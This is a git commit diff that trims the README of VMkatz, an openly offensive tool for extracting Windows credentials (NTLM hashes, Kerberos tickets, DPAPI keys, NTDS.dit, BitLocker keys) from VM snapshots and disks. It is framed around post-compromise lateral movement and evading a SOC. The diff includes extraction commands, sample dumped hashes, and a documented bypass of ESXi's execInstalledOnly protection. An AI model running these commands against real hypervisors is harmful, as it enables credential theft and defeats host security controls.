mirror of
https://github.com/nikaiw/VMkatz
synced 2026-09-25 07:51:06 +00:00
Reorganize README: move detailed docs to docs/
README trimmed from 524 to 175 lines. Moved to docs/: - docs/esxi.md — ESXi deployment, VIB bypass, VMFS raw access - docs/examples.md — Example output (LSASS, hashcat, NTDS, pagefile) - docs/architecture.md — Module layout and how it works - docs/tested-targets.md — Test matrix and known limitations README now focuses on: intro, what it extracts, supported inputs, quick start, output formats, ESXi basics, build features, and links.
This commit is contained in:
@@ -2,7 +2,7 @@
|
||||
|
||||
[](LICENSE)
|
||||
[](https://github.com/nikaiw/VMkatz/actions/workflows/release.yml)
|
||||
[](https://github.com/nikaiw/VMkatz/actions/workflows/clippy.yml)
|
||||
[](https://github.com/nikaiw/VMkatz/actions/workflows/clippy.yml)
|
||||
[]()
|
||||
|
||||
## Too Big to Steal
|
||||
@@ -13,11 +13,9 @@ After days of lateral movement you land on a NAS attached to the virtualization
|
||||
|
||||
But your link wheezes at 200 KB/s. Pulling a single 100 GB disk image would take **six days**, and every hour of sustained exfil is another chance the SOC spots the anomaly, burns your tunnel, and the whole chain collapses.
|
||||
|
||||
Without VMkatz, the traditional workflow looks like this: exfiltrate the entire VM disk or memory snapshot, mount it locally, install a full Windows analysis stack, load the snapshot into a debugger or use mimikatz on a booted copy, and manually piece together credentials from each VM - one at a time. Multiply that by a dozen VMs on the cluster and you are looking at days of bandwidth, tooling, and post-processing.
|
||||
VMkatz exists because you shouldn't have to exfiltrate what you can read in place. It extracts Windows secrets - NTLM hashes, DPAPI master keys, Kerberos tickets, cached domain credentials, LSA secrets, NTDS.dit, BitLocker keys - directly from VM memory snapshots and virtual disks, **on the NAS, the hypervisor, wherever the VM files are**.
|
||||
|
||||
VMkatz exists because you shouldn't have to exfiltrate what you can read in place. It extracts Windows secrets - NTLM hashes, DPAPI master keys, Kerberos tickets, cached domain credentials, LSA secrets, NTDS.dit - directly from VM memory snapshots and virtual disks, **on the NAS, the hypervisor, wherever the VM files are**.
|
||||
|
||||
A single static binary, ~2.5 MB. Drop it on the ESXi host, the Proxmox node, or the NAS. Point it at a `.vmsn`, `.vmdk`, or an entire VM folder. Walk away with credentials, not disk images.
|
||||
A single static binary, ~3 MB. Drop it on the ESXi host, the Proxmox node, or the NAS. Point it at a `.vmsn`, `.vmdk`, or an entire VM folder. Walk away with credentials, not disk images.
|
||||
|
||||
## What It Extracts
|
||||
|
||||
@@ -28,7 +26,7 @@ All 9 SSP credential providers that mimikatz implements:
|
||||
| --- | --- | --- |
|
||||
| MSV1_0 | NT/LM hashes, SHA1 | Physical-scan fallback for paged entries |
|
||||
| WDigest | Plaintext passwords | Linked-list walk + `.data` fallback |
|
||||
| Kerberos | AES/RC4/DES keys, tickets (`.kirbi`/`.ccache`) | AVL tree walk, often paged in VM snapshots |
|
||||
| Kerberos | AES/RC4/DES keys, tickets (`.kirbi`/`.ccache`) | AVL tree walk + ticket carving for freed sessions |
|
||||
| TsPkg | Plaintext passwords | RDP sessions only |
|
||||
| DPAPI | Master key cache (GUID + decrypted key) | SHA1 masterkey for offline DPAPI decrypt |
|
||||
| SSP | Plaintext credentials | `SspCredentialList` in `msv1_0.dll` |
|
||||
@@ -36,127 +34,75 @@ All 9 SSP credential providers that mimikatz implements:
|
||||
| Credman | Stored credentials | Hash-table + single-list enumeration |
|
||||
| CloudAP | Azure AD tokens | Typically empty for local-only logon |
|
||||
|
||||
Plus: **BitLocker FVEK** extraction from memory (pool tag scan for `FVEc`/`Cngb`).
|
||||
|
||||
### From virtual disks (offline)
|
||||
- **SAM hashes**: Local account NT/LM hashes with account status (disabled, blank password)
|
||||
- **LSA secrets**: Service account passwords, auto-logon credentials, machine account keys
|
||||
- **Cached domain credentials**: DCC2 hashes (last N domain logons)
|
||||
- **DPAPI master keys**: Hashcat-ready hashes from user master key files (`$DPAPImk$` — modes 15300/15310/15900/15910 for local/domain users)
|
||||
- **NTDS.dit**: Full Active Directory hash extraction from domain controller disks, natively from the ESE database - no impacket or external tools needed
|
||||
- **DPAPI master keys**: Hashcat-ready hashes (`$DPAPImk$` — modes 15300/15310/15900/15910)
|
||||
- **NTDS.dit**: Full Active Directory hash extraction from domain controller disks (native ESE parser)
|
||||
- **BitLocker decryption**: Transparent disk decryption using FVEK extracted from memory
|
||||
|
||||
## Supported Inputs
|
||||
|
||||
| Format | Extensions | Source | Status |
|
||||
| --- | --- | --- | --- |
|
||||
| VMware snapshots | `.vmsn` + `.vmem` | Workstation, ESXi | Tested |
|
||||
| VMware embedded snapshots | `.vmsn` (no `.vmem`) | ESXi suspend / `mainMem.useNamedFile=FALSE` | Tested |
|
||||
| VMware embedded snapshots | `.vmsn` (no `.vmem`) | ESXi suspend | Tested |
|
||||
| VirtualBox saved states | `.sav` | VirtualBox | Tested |
|
||||
| QEMU/KVM savevm states | auto-detected | Proxmox `qm snapshot --vmstate`, QEMU `savevm` | Tested |
|
||||
| QEMU/KVM ELF core dumps | `.elf` | `virsh dump`, `dump-guest-memory` | Tested |
|
||||
| Hyper-V saved states | `.vmrs` | Hyper-V 2016+ (native parser) | Untested |
|
||||
| Hyper-V memory dumps | `.bin`, `.raw` | Legacy saved states, raw dumps | Untested |
|
||||
| QEMU/KVM savevm states | auto-detected | Proxmox, QEMU | Tested |
|
||||
| QEMU/KVM ELF core dumps | `.elf` | `virsh dump` | Tested |
|
||||
| Hyper-V saved states | `.vmrs` | Hyper-V 2016+ | Untested |
|
||||
| VMware virtual disks | `.vmdk` (sparse + flat) | Workstation, ESXi | Tested |
|
||||
| VirtualBox virtual disks | `.vdi` | VirtualBox | Tested |
|
||||
| QEMU/KVM virtual disks | `.qcow2` | QEMU, Proxmox | Tested |
|
||||
| Hyper-V virtual disks | `.vhdx`, `.vhd` | Hyper-V | Tested |
|
||||
| VMFS-6 raw SCSI devices | `/dev/disks/...` | ESXi datastores (bypasses file locks) | Tested |
|
||||
| LVM block devices | `/dev/...` | Proxmox LVM-thin, raw LVs | Tested |
|
||||
| Raw registry hives | `SAM`, `SYSTEM`, `SECURITY` | Exported from disk or `reg save` | Tested |
|
||||
| Raw NTDS.dit | `ntds.dit` + `SYSTEM` | Copied from domain controller | Tested |
|
||||
| LSASS minidump | `.dmp` | `--dump lsass`, procdump, Task Manager | Tested |
|
||||
| VM directories | any folder | Auto-discovers all processable files | Tested |
|
||||
| VMFS-5/6 raw SCSI devices | `/dev/disks/...` | ESXi (bypasses file locks) | Tested |
|
||||
| LVM block devices | `/dev/...` | Proxmox LVM-thin | Tested |
|
||||
| Raw registry hives | `SAM`, `SYSTEM`, `SECURITY` | `reg save` | Tested |
|
||||
| Raw NTDS.dit | `ntds.dit` + `SYSTEM` | Domain controller | Tested |
|
||||
| LSASS minidump | `.dmp` | procdump, Task Manager | Tested |
|
||||
| VM directories | any folder | Auto-discovers all files | Tested |
|
||||
|
||||
**Target OS**: Windows Server 2003 through Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64, auto-detected).
|
||||
**Target OS**: Windows Server 2003 through Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Build (default features: all hypervisors + disk + NTDS)
|
||||
cargo build --release
|
||||
|
||||
# Extract LSASS credentials from a VMware snapshot
|
||||
./vmkatz snapshot.vmsn
|
||||
|
||||
# Same, with pagefile resolution for paged-out creds
|
||||
# With pagefile resolution for paged-out creds
|
||||
./vmkatz --disk disk.vmdk snapshot.vmsn
|
||||
|
||||
# Extract SAM/LSA/DCC2 from a virtual disk (auto-detected)
|
||||
# Extract SAM/LSA/DCC2 from a virtual disk
|
||||
./vmkatz disk.vmdk
|
||||
|
||||
# Extract from raw registry hives (auto-detects SAM/SYSTEM/SECURITY)
|
||||
./vmkatz SAM SYSTEM
|
||||
./vmkatz SAM SYSTEM SECURITY
|
||||
|
||||
# Extract AD hashes from raw NTDS.dit + SYSTEM hive
|
||||
./vmkatz ntds.dit SYSTEM
|
||||
|
||||
# Extract from VMFS-6 on ESXi (bypasses file locks on running VMs)
|
||||
./vmkatz --vmfs-device /dev/disks/naa.xxx --vmdk 'MyVM/MyVM-flat.vmdk'
|
||||
|
||||
# List all VMs on a VMFS-6 datastore
|
||||
./vmkatz --vmfs-device /dev/disks/naa.xxx --vmfs-list
|
||||
|
||||
# Extract from all VMs on a VMFS-6 datastore
|
||||
./vmkatz --vmfs-device /dev/disks/naa.xxx
|
||||
|
||||
# Extract AD hashes from a domain controller disk (NTDS.dit)
|
||||
./vmkatz --ntds /dev/pve/vm-102-disk-0
|
||||
|
||||
# Extract AD hashes with password history
|
||||
./vmkatz --ntds --ntds-history dc-disk.qcow2
|
||||
# Extract AD hashes from a domain controller disk
|
||||
./vmkatz --ntds dc-disk.qcow2
|
||||
|
||||
# Point at a VM folder and let it find everything
|
||||
./vmkatz /path/to/vm-directory/
|
||||
|
||||
# List running processes
|
||||
./vmkatz --list-processes snapshot.vmsn
|
||||
# Extract from raw registry hives
|
||||
./vmkatz SAM SYSTEM SECURITY
|
||||
|
||||
# Dump LSASS as minidump (for pypykatz, etc.)
|
||||
./vmkatz --dump lsass -o lsass.dmp snapshot.vmsn
|
||||
|
||||
# Output as hashcat-ready hashes (mode 1000)
|
||||
# Output as hashcat-ready hashes
|
||||
./vmkatz --format hashcat snapshot.vmsn
|
||||
|
||||
# Output as NTLM pwdump format
|
||||
./vmkatz --format ntlm snapshot.vmsn
|
||||
|
||||
# Export Kerberos tickets
|
||||
./vmkatz --kirbi snapshot.vmsn # export as .kirbi files
|
||||
./vmkatz --ccache snapshot.vmsn # export as .ccache file
|
||||
./vmkatz --kirbi snapshot.vmsn # .kirbi files
|
||||
./vmkatz --ccache snapshot.vmsn # .ccache file
|
||||
|
||||
# Extract from Proxmox VM savevm state (auto-detected QEVM format)
|
||||
./vmkatz /dev/pve/vm-110-state-snapshot1
|
||||
# Export BitLocker FVEK for dislocker
|
||||
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
|
||||
|
||||
# Recursively scan all VMs under a path
|
||||
./vmkatz -r /vmfs/volumes/datastore1/
|
||||
|
||||
# Parse LSASS minidump
|
||||
./vmkatz lsass.dmp
|
||||
|
||||
# Degraded extraction from truncated/partial memory
|
||||
./vmkatz --carve partial-snapshot.vmsn
|
||||
|
||||
# Show all sessions including empty ones
|
||||
./vmkatz --all snapshot.vmsn
|
||||
```
|
||||
|
||||
### Advanced options
|
||||
|
||||
```bash
|
||||
# Recursively scan a directory tree for all VM files
|
||||
./vmkatz -r /vmfs/volumes/datastore1/
|
||||
|
||||
# Filter to only snapshots or only disks in directory mode
|
||||
./vmkatz --scan snapshot /path/to/vm/
|
||||
./vmkatz --scan disk /path/to/vm/
|
||||
|
||||
# Filter output to specific providers
|
||||
./vmkatz --provider msv,kerberos snapshot.vmsn
|
||||
|
||||
# Enable EPT scanning for VBS/Credential Guard VMs
|
||||
./vmkatz --ept snapshot.vmsn
|
||||
|
||||
# Verbose output (memory regions, process list, debug info)
|
||||
./vmkatz -v snapshot.vmsn
|
||||
|
||||
# Dump with custom Windows build number
|
||||
./vmkatz --dump lsass --build 26100 -o lsass.dmp snapshot.vmsn
|
||||
```
|
||||
|
||||
## Output Formats
|
||||
@@ -166,189 +112,28 @@ cargo build --release
|
||||
| `text` | `--format text` (default) | Full credential dump with session metadata |
|
||||
| `brief` | `--format brief` | Compact one-line-per-credential summary |
|
||||
| `ntlm` | `--format ntlm` | `DOMAIN\user:::hash:::` pwdump format |
|
||||
| `hashcat` | `--format hashcat` | Raw hashes: mode 1000 (NTLM), mode 2100 (DCC2), mode 15300/15900 (DPAPI) |
|
||||
| `hashcat` | `--format hashcat` | Raw hashes: mode 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
|
||||
| `csv` | `--format csv` | Machine-readable, all fields |
|
||||
|
||||
In `text` mode, well-known blank password hashes (`31d6cfe0...` for NTLM, `aad3b435...` for LM) are annotated with `(blank)`. SAM entries show account status: `(DISABLED)`, `(NO PASSWORD)`, `(BLANK PASSWORD)`. DPAPI master keys are deduplicated to show only the most recent per user (use `--all` to see all keys).
|
||||
|
||||
Use `--color auto|always|never` to control colored terminal output (default: `auto`, detects TTY). Colors highlight usernames, section headers, interesting hashes, and plaintext passwords.
|
||||
|
||||
## Example Output
|
||||
|
||||
### LSASS extraction (default text)
|
||||
```
|
||||
$ vmkatz snapshot.vmsn
|
||||
[*] Providers: MSV(ok) WDigest(ok) Kerberos(paged) TsPkg(empty) DPAPI(ok) SSP(empty) LiveSSP(n/a) Credman(empty) CloudAP(paged)
|
||||
|
||||
[+] 8 logon session(s), 3 with credentials:
|
||||
|
||||
LUID: 0x3e7 (SYSTEM)
|
||||
Username: YOURPC$
|
||||
Domain: WORKGROUP
|
||||
[DPAPI]
|
||||
GUID : 94e9f320-d4a0-4737-b34e-ab106f485c0e
|
||||
MasterKey : d0f110675ca73f39d1370bdfd...
|
||||
SHA1 MasterKey: ea72698de207dab9e01fd9ab63f322ae82b4a4bb
|
||||
|
||||
LUID: 0x240be
|
||||
Session: 2 | LogonType: Unknown
|
||||
Username: user
|
||||
Domain: YOURPC
|
||||
LogonServer: YOURPC
|
||||
SID: S-1-5-21-4247878743-2693906039-1959858616-1000
|
||||
[MSV1_0]
|
||||
NT Hash : bbf7d1528afa8b0fdd40a5b2531bbb6d
|
||||
SHA1 : 6ed12f1e60b17cfff120d753029314748b58aa05
|
||||
DPAPI : 6ed12f1e60b17cfff120d753029314748b58aa05
|
||||
```
|
||||
|
||||
### Hashcat mode
|
||||
```
|
||||
$ vmkatz --format hashcat snapshot.vmsn
|
||||
[*] Providers: MSV(ok) WDigest(ok) ...
|
||||
bbf7d1528afa8b0fdd40a5b2531bbb6d
|
||||
```
|
||||
|
||||
### NTDS.dit extraction
|
||||
```
|
||||
$ vmkatz --ntds /dev/pve/vm-102-disk-0
|
||||
|
||||
[+] NTDS Artifacts:
|
||||
Partition offset : 0x100000
|
||||
ntds.dit size : 20971520 bytes
|
||||
SYSTEM size : 14155776 bytes
|
||||
Bootkey : 9ae365ba5244457bfc2a26187a28346a
|
||||
Hashes extracted : 18
|
||||
|
||||
[+] AD NTLM Hashes:
|
||||
RID: 500 Administrator current NT:c66d72021a2d4744409969a581a1705e
|
||||
RID: 502 krbtgt current NT:9c238cafb7b4447e5f701c71dbdcf636
|
||||
RID: 1000 vagrant current NT:e02bc503339d51f71d913c245d35b50b
|
||||
...
|
||||
```
|
||||
|
||||
### Pagefile resolution
|
||||
```
|
||||
$ vmkatz --disk disk.vmdk snapshot.vmsn
|
||||
[+] Pagefile: 320.0 MB
|
||||
[*] Providers: MSV(ok) WDigest(ok) ...
|
||||
[+] File-backed: 12540 DLL pages resolved from disk
|
||||
[+] Pagefile: 2274 pages resolved from disk
|
||||
```
|
||||
|
||||
## Pagefile Resolution
|
||||
|
||||
Memory snapshots only capture physical RAM. Credentials that were paged to disk at snapshot time appear as `(paged out)`. The `--disk` flag reads pagefile.sys from the VM's virtual disk to resolve these.
|
||||
|
||||
In **directory mode**, this happens automatically: VMkatz discovers both the snapshot and the disk image, and resolves paged memory without manual flags.
|
||||
|
||||
## Deployment on ESXi
|
||||
|
||||
VMkatz compiles to a static musl binary that runs directly on ESXi without dependencies:
|
||||
|
||||
```bash
|
||||
# Cross-compile for ESXi (musl static)
|
||||
cargo build --release --target x86_64-unknown-linux-musl
|
||||
|
||||
# Upload (~3 MB)
|
||||
# Upload and run
|
||||
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
|
||||
|
||||
# On ESXi 8.0+, allow non-VIB binaries (requires once)
|
||||
esxcli system settings advanced set -o /User/execInstalledOnly -i 0
|
||||
|
||||
# Extract from a live VM snapshot
|
||||
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
|
||||
|
||||
# Extract SAM from a powered-off VM disk
|
||||
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-flat.vmdk
|
||||
```
|
||||
|
||||
### Running with VIB protection enabled
|
||||
|
||||
When `execInstalledOnly` is set to 1 (default on ESXi 7.0+), unsigned binaries cannot be executed directly. The included Python loader (`vmkatz_loader.py`) bypasses this by loading vmkatz into anonymous memory pages — ESXi allows `PROT_EXEC` on anonymous mappings while blocking `execve` on unsigned files.
|
||||
|
||||
Python is VIB-signed on all ESXi versions and can execute normally.
|
||||
When VIB protection (`execInstalledOnly`) is enabled, use the Python loader — no need to disable the setting:
|
||||
|
||||
```bash
|
||||
# Upload both files
|
||||
scp vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
|
||||
|
||||
# Run through the loader (no need to disable execInstalledOnly)
|
||||
python3 /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
|
||||
|
||||
# Works on ESXi 6.5+ (Python 2.7), 6.7+ (Python 3.5), 8.0+ (Python 3.8)
|
||||
python /tmp/vmkatz_loader.py /tmp/vmkatz --vmfs-list
|
||||
```
|
||||
|
||||
The loader parses the ELF binary, maps segments into anonymous pages, applies relocations, and jumps to the entry point. No files are written to disk, no VIB signature check is triggered.
|
||||
|
||||
To check if VIB protection is active on your ESXi host:
|
||||
```bash
|
||||
esxcli system settings advanced list -o /User/execInstalledOnly
|
||||
```
|
||||
|
||||
## VMFS-6 Raw Device Access (ESXi)
|
||||
|
||||
On ESXi, VMFS locks prevent reading flat VMDK files from running VMs via the mounted filesystem. VMkatz includes a self-contained VMFS-6 parser that reads directly from the raw SCSI device, bypassing file locks entirely — no `vmkfstools`, no `.sbc.sf` access, no unmounting.
|
||||
|
||||
### Discovery
|
||||
|
||||
VMkatz auto-discovers VMFS-6 devices by scanning `/dev/disks/` for SCSI LUNs containing VMFS superblocks, then enumerates the VMFS directory tree to find all flat VMDKs and the VMs they belong to.
|
||||
|
||||
```bash
|
||||
# Discover all VMFS-6 datastores, list their VMs, and print ready-to-run commands
|
||||
/tmp/vmkatz --vmfs-list
|
||||
```
|
||||
|
||||
Example output:
|
||||
```
|
||||
[+] VMFS-6 devices:
|
||||
/dev/disks/naa.60003ff44dc75adcb3d1cbcd6d5049dc — RAID0_local
|
||||
/dev/disks/naa.600508b4000adfe0d80b99cf3ce0c0c7 — NAS_datastore
|
||||
|
||||
[+] RAID0_local — 5 flat VMDKs:
|
||||
--vmfs-device /dev/disks/naa.60003ff44dc75adcb3d1cbcd6d5049dc --vmdk 'DC01/DC01-flat.vmdk'
|
||||
--vmfs-device /dev/disks/naa.60003ff44dc75adcb3d1cbcd6d5049dc --vmdk 'WEB01/WEB01-flat.vmdk'
|
||||
...
|
||||
```
|
||||
|
||||
The output is designed as copy-pasteable command-line arguments. Filter to a specific device with `--vmfs-device`:
|
||||
|
||||
```bash
|
||||
# List VMDKs on a specific device only
|
||||
/tmp/vmkatz --vmfs-list --vmfs-device /dev/disks/naa.60003ff44dc75adcb3d1cbcd6d5049dc
|
||||
```
|
||||
|
||||
### Extraction modes
|
||||
|
||||
```bash
|
||||
# Single VM — extract SAM/LSA/DCC2 from one flat VMDK
|
||||
/tmp/vmkatz --vmfs-device /dev/disks/naa.xxx --vmdk 'DC01/DC01-flat.vmdk'
|
||||
|
||||
# Single VM — extract NTDS.dit from a domain controller
|
||||
/tmp/vmkatz --vmfs-device /dev/disks/naa.xxx --vmdk 'DC01/DC01-flat.vmdk' --ntds
|
||||
|
||||
# All VMs — auto-scan the entire datastore
|
||||
/tmp/vmkatz --vmfs-device /dev/disks/naa.xxx
|
||||
```
|
||||
|
||||
In auto-scan mode (no `--vmdk`), VMkatz discovers every flat VMDK on the device, checks each for NTFS partitions (skipping Linux/BSD VMs), and extracts credentials from all Windows VMs in a single pass. Non-Windows VMs are silently skipped.
|
||||
|
||||
### How it works
|
||||
|
||||
The parser resolves the full VMFS-6 on-disk layout without any mounted filesystem:
|
||||
|
||||
```
|
||||
/dev/disks/naa.xxx
|
||||
└─ LVM volume header (magic 0xC001D00D at offset 0x100000)
|
||||
└─ VMFS superblock (magic 0x2FABF15E at offset 0x200000)
|
||||
└─ SFD bootstrap → FDC resource (file descriptor cache)
|
||||
└─ Root directory (FD address 0x00000004)
|
||||
└─ VM directories → flat VMDK files
|
||||
└─ File data (sub-blocks, pointer blocks, large file blocks)
|
||||
```
|
||||
|
||||
Supports all VMFS-6 address types: small file blocks (SFB), sub-blocks (SB), pointer blocks (PB/PB2), large file blocks (LFB), and double-indirect addressing. Reads are direct `pread(2)` calls on the raw device — no caching layer or filesystem driver needed.
|
||||
See [docs/esxi.md](docs/esxi.md) for VIB bypass details, VMFS raw device access, and auto-discovery.
|
||||
|
||||
## Build Features
|
||||
|
||||
@@ -358,160 +143,26 @@ VMkatz is modular. Features can be enabled/disabled at compile time:
|
||||
| --- | --- | --- |
|
||||
| `vmware` | VMware `.vmsn`/`.vmem` snapshot support | Yes |
|
||||
| `vbox` | VirtualBox `.sav` saved-state support | Yes |
|
||||
| `qemu` | QEMU/KVM ELF core dumps + Proxmox savevm state support | Yes |
|
||||
| `hyperv` | Hyper-V `.vmrs`/`.bin`/`.raw` dump support (native `.vmrs` parser) | Yes |
|
||||
| `sam` | Disk extraction (SAM/LSA/DCC2) and disk format handlers | Yes |
|
||||
| `ntds.dit` | NTDS.dit AD extraction (`--ntds`, `--ntds-history`). Requires `sam` | Yes |
|
||||
| `carve` | Degraded extraction from partial/truncated memory (`--carve`) | Yes |
|
||||
| `dump` | Process memory dump as minidump (`--dump`) | Yes |
|
||||
| `vmfs` | VMFS-6 raw parser for ESXi SCSI devices (`--vmfs-device`). Requires `sam` | Yes |
|
||||
| `qemu` | QEMU/KVM ELF core dumps + Proxmox savevm | Yes |
|
||||
| `hyperv` | Hyper-V `.vmrs`/`.bin`/`.raw` dump support | Yes |
|
||||
| `sam` | Disk extraction (SAM/LSA/DCC2) + disk format handlers | Yes |
|
||||
| `ntds.dit` | NTDS.dit AD extraction. Requires `sam` | Yes |
|
||||
| `carve` | Degraded extraction from partial/truncated memory | Yes |
|
||||
| `dump` | Process memory dump as minidump | Yes |
|
||||
| `vmfs` | VMFS-5/6 raw parser for ESXi SCSI devices. Requires `sam` | Yes |
|
||||
|
||||
```bash
|
||||
# Full build with everything (default)
|
||||
cargo build --release
|
||||
|
||||
# Minimal VMware-only build (no carve, no dump, no disk)
|
||||
cargo build --release --no-default-features --features vmware
|
||||
|
||||
# Memory extraction only (all hypervisors, no disk/carve/dump)
|
||||
cargo build --release --no-default-features --features "vmware vbox qemu hyperv"
|
||||
|
||||
# Disk-only build (SAM + NTDS, no memory snapshot support)
|
||||
cargo build --release --no-default-features --features "sam ntds.dit"
|
||||
|
||||
# Memory + carve (no dump, no disk)
|
||||
cargo build --release --no-default-features --features "vmware vbox qemu hyperv carve"
|
||||
cargo build --release # Full build
|
||||
cargo build --release --no-default-features --features vmware # VMware only
|
||||
cargo build --release --no-default-features --features "sam ntds.dit" # Disk only
|
||||
```
|
||||
|
||||
## Module Architecture
|
||||
## Documentation
|
||||
|
||||
```
|
||||
src/
|
||||
├── main.rs CLI dispatch, format detection, output formatting
|
||||
├── lib.rs Crate root — feature-gated module declarations
|
||||
├── error.rs VmkatzError type
|
||||
├── utils.rs Endian helpers, hex, UTF-16LE decode
|
||||
├── memory/
|
||||
│ └── reader.rs PhysicalMemory and VirtualMemory traits
|
||||
├── pe/ PE header parser (exports, sections, data directories)
|
||||
├── minidump.rs MDMP parser — VirtualMemory trait over minidump regions
|
||||
├── discover.rs Directory/recursive auto-discovery of VM files
|
||||
├── paging/
|
||||
│ ├── mod.rs 4-level x64 page table walker (CR3 → PTE)
|
||||
│ ├── translate.rs Address translation core
|
||||
│ ├── entry.rs Page table entry decoding
|
||||
│ ├── ept.rs Extended Page Table scanner (VBS/nested Hyper-V)
|
||||
│ ├── filebacked.rs DLL section mapping from disk
|
||||
│ └── pagefile.rs Pagefile.sys fault resolution from disk
|
||||
├── windows/
|
||||
│ ├── process.rs EPROCESS discovery (System process, process enumeration)
|
||||
│ └── offsets.rs EPROCESS offset tables (WinXP SP3 → Win11 24H2, x64 + x86 PAE)
|
||||
├── lsass/
|
||||
│ ├── finder.rs Main extraction orchestrator (PhysicalMemory + minidump paths)
|
||||
│ ├── crypto.rs LSASS decryption (AES-CBC, 3DES-CBC, DES-X-CBC, RC4)
|
||||
│ ├── patterns.rs Signature patterns for crypto key discovery in DLL sections
|
||||
│ ├── types.rs Credential, LogonSession, DpapiCredential structs
|
||||
│ ├── msv.rs MSV1_0 provider (NT/LM/SHA1 hashes)
|
||||
│ ├── wdigest.rs WDigest provider (plaintext passwords)
|
||||
│ ├── kerberos.rs Kerberos provider (tickets, passwords)
|
||||
│ ├── tspkg.rs TsPkg provider (RDP plaintext)
|
||||
│ ├── dpapi.rs DPAPI provider (master key cache)
|
||||
│ ├── ssp.rs SSP provider (plaintext credentials)
|
||||
│ ├── livessp.rs LiveSSP provider (plaintext, rare post-Win8)
|
||||
│ ├── credman.rs Credential Manager (stored credentials)
|
||||
│ ├── cloudap.rs CloudAP provider (Azure AD tokens)
|
||||
│ └── carve.rs [feature: carve] Degraded extraction for partial memory
|
||||
├── dump.rs [feature: dump] Process memory → minidump writer
|
||||
├── vmware/ [feature: vmware] VMware .vmsn/.vmem/.vmss layer
|
||||
├── vbox/ [feature: vbox] VirtualBox .sav layer
|
||||
├── qemu/ [feature: qemu] QEMU ELF core dump + Proxmox savevm layer
|
||||
├── hyperv/ [feature: hyperv] Hyper-V .vmrs/.bin/.raw layer (native VMRS parser)
|
||||
├── sam/ [feature: sam] SAM/LSA/DCC2 + DPAPI + disk format handlers
|
||||
│ ├── mod.rs Orchestration, disk extraction entry point
|
||||
│ ├── hive.rs Windows registry hive parser (regf format)
|
||||
│ ├── bootkey.rs Bootkey extraction from SYSTEM hive
|
||||
│ ├── hashes.rs SAM hash decryption (AES-CBC, RC4, MD5, DES)
|
||||
│ ├── lsa.rs LSA secrets decryption (DPAPI system keys, service passwords)
|
||||
│ ├── cache.rs Cached domain credentials (DCC2)
|
||||
│ ├── dpapi_masterkey.rs DPAPI master key file parser (hashcat 15300/15900)
|
||||
│ ├── partition.rs MBR/GPT partition table parser
|
||||
│ ├── ntfs_reader.rs NTFS file reader (SAM/SYSTEM/SECURITY discovery)
|
||||
│ ├── ntfs_fallback.rs NTFS fallback parser (no external crate)
|
||||
│ ├── disk_fallbacks.rs Fallback hive search for non-standard layouts
|
||||
│ └── vmdk_scan.rs Sparse VMDK descriptor + extent parser
|
||||
├── disk/ Virtual disk format handlers
|
||||
│ ├── vmdk.rs VMware sparse/flat VMDK
|
||||
│ ├── vdi.rs VirtualBox VDI (+ differencing chain)
|
||||
│ ├── qcow2.rs QEMU QCOW2 (+ backing files)
|
||||
│ ├── vhd.rs Hyper-V VHD (legacy)
|
||||
│ ├── vhdx.rs Hyper-V VHDX
|
||||
│ ├── raw.rs Raw/block device passthrough
|
||||
│ └── vmfs.rs [feature: vmfs] VMFS-6 raw parser (LVM → SFD → FDC → FD → data)
|
||||
└── ntds/ [feature: ntds.dit] NTDS.dit ESE database parser
|
||||
├── mod.rs PEK decryption, hash extraction pipeline
|
||||
└── ese.rs JET Blue database primitives (pages, B+ trees, columns)
|
||||
```
|
||||
|
||||
## Tested Targets
|
||||
|
||||
Tested across 7 Windows versions and 5 hypervisors/platforms.
|
||||
|
||||
| Hypervisor | Guest OS | Artifact | Result | Notes |
|
||||
| --- | --- | --- | --- | --- |
|
||||
| VMware Workstation | Windows 10 22H2 x64 | LSASS (`.vmsn`) | PASS | 3 snapshots |
|
||||
| VMware Workstation | Windows 10 22H2 x64 | LSASS + pagefile (`.vmsn` + `.vmdk`) | PASS | Resolves paged-out credentials |
|
||||
| VMware Workstation | Windows 10 22H2 x64 | SAM / LSA / DCC2 (`.vmdk`) | PASS | |
|
||||
| VMware Workstation | Windows 10 22H2 x64 | Folder mode | PASS | Auto-discovers `.vmsn` + `.vmdk` |
|
||||
| VirtualBox | Windows 10 22H2 x64 | LSASS (`.sav`) | PASS | |
|
||||
| VirtualBox | Windows 10 22H2 x64 | LSASS + pagefile (`.sav` + `.vdi`) | PASS | |
|
||||
| VirtualBox | Windows 10 22H2 x64 | SAM / LSA / DCC2 (`.vdi`) | PASS | |
|
||||
| ESXi 8.0 | Windows 7 SP1 x64 | LSASS (`.vmsn`) | PASS | |
|
||||
| ESXi 8.0 | Windows 10 22H2 x64 | LSASS (`.vmsn`) | PASS | 2 VMs |
|
||||
| ESXi 8.0 | Windows Server 2012 x64 | LSASS (`.vmsn`) | PASS | 2 VMs |
|
||||
| ESXi 8.0 | Windows Server 2016 x64 | LSASS (`.vmsn`) | PASS | 3 VMs |
|
||||
| ESXi 8.0 | Windows Server 2019 x64 | LSASS (`.vmsn`) | PASS | |
|
||||
| ESXi 8.0 | Windows 11 x64 | LSASS (`.vmsn`) | PASS | 2 VMs, no VBS |
|
||||
| ESXi 8.0 | Windows 11 x64 | SAM (flat `.vmdk`) | PASS | Powered-off VM |
|
||||
| ESXi 8.0 | Windows 11 x64 (VBS) | LSASS (`.vmsn`) | FAIL | Credential Guard / VBS |
|
||||
| Proxmox 8 | Windows Server 2016 x64 | SAM / LSA / DCC2 (LVM block device) | PASS | Live + stopped VMs |
|
||||
| Proxmox 8 | Windows Server 2019 x64 | SAM / LSA / DCC2 (LVM block device) | PASS | 3 VMs, incl. DCs |
|
||||
| Proxmox 8 | Windows Server 2019 x64 | NTDS.dit (LVM block device) | PASS | 3 DCs (GOAD lab), 8KB pages, verified against impacket |
|
||||
| Proxmox 8 | Windows Server 2025 x64 | SAM / LSA (LVM block device) | PASS | |
|
||||
